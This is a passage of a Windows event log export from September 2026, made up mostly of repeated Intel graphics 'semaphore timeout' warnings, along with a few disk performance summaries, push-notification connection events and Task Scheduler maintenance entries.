stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:46.279\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:46.483\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:46.706\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:46.930\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:47.151\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:47.374\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:47.598\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:47.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:47.973\t505\t\"Performance summary for Storport Device (Port = 0, Path = 0, Target = 0, Lun = 0) whose Corresponding Class Disk Device Guid is {d10f1580-d0d5-c67f-846a-8d6faaba20dc}:                 \nTotal IO:269588                 \nFor latency buckets of 128us, 256us, 512us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 512ms, 1000ms, 2000ms, 10000ms, 10000+ms,                 \nThe IO success counts are 181832, 57992, 13735, 4822, 4020, 4205, 2946, 36, 0, 0, 0, 0, 0, 0.                 \nThe IO failed counts are 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.                 \nThe IO total latency (in 100ns) are 93759011, 97723116, 48268646, 33886515, 83711026, 341707622, 1030573359, 23610946, 0, 0, 0, 0, 0, 0.                 \nTotal Bytes Read:8018466816                 \nTotal Bytes Written:2129373184\"\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:39:47.973\t504\t\"Error summary for Storport Device (Port = 0, Path = 0, Target = 0, Lun = 0) whose Corresponding Class Disk Device Guid is {d10f1580-d0d5-c67f-846a-8d6faaba20dc}:                     \nThere were 3 total errors seen and 0 timeouts.                     \nThe last error seen had opcode 0x1A and completed with SrbStatus 0x6 and ScsiStatus 0x2.                     \nThe sense code was (0x5,0x24,0x0).                     \nThe latency was 1 ms.\"\tInformation\tMicrosoft-Windows-Storage-Storport/Operational\tMicrosoft-Windows-StorPort\n05.09.2026 08:39:48.042\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:48.271\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:48.484\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:48.708\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:48.928\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:49.151\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:49.371\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:49.593\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:49.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:50.154\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:50.401\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:50.596\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:50.821\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:51.156\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:51.376\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:51.709\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:51.768\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:51.769\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:51.769\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:51.787\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:39:51.931\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:52.158\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:52.486\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:52.713\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:52.930\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:53.157\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:53.376\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:53.489\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:53.829\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:53.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:54.157\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:54.492\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:54.824\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:55.045\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:55.265\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:55.491\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:55.711\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:55.936\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:56.158\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:56.382\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:56.599\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:56.691\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:56.904\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:57.155\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:57.351\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:57.573\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:57.792\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:58.014\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:58.235\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:58.456\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:58.680\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:58.900\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:59.126\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:59.349\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:59.569\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:39:59.789\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:00.012\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:00.233\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:00.344\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:00.567\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:00.798\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:01.023\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:01.126\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:01.348\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:01.570\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:02.018\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:02.239\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:02.458\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:02.682\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:03.166\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:03.347\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:03.575\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:03.794\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:04.351\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:04.576\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:04.793\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:05.022\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:05.244\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:05.460\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:05.685\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:05.795\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:06.017\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:06.351\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:06.466\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:06.685\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:06.879\t800\tMaintenance state changed to 3 (Last Run: \u200e05.\u200e09.\u200e2026 8:40).\tInformation\tMicrosoft-Windows-TaskScheduler/Maintenance\tMicrosoft-Windows-TaskScheduler\n05.09.2026 08:40:06.921\t800\tMaintenance state changed to 1 (Last Run: \u200e05.\u200e09.\u200e2026 8:40).\tInformation\tMicrosoft-Windows-TaskScheduler/Maintenance\tMicrosoft-Windows-TaskScheduler\n05.09.2026 08:40:08.029\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:12.157\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:19.480\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:20.378\t1002\tError 0x80070002 occurred while verifying known folder {0ddd015d-b06c-45d5-8c4c-f59713854639} with path 'C:\\WINDOWS\\system32\\config\\systemprofile\\Pictures'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:40:22.338\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:23.450\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:24.318\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:25.213\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:25.657\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:25.879\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:26.101\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:26.320\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:26.546\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:26.768\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 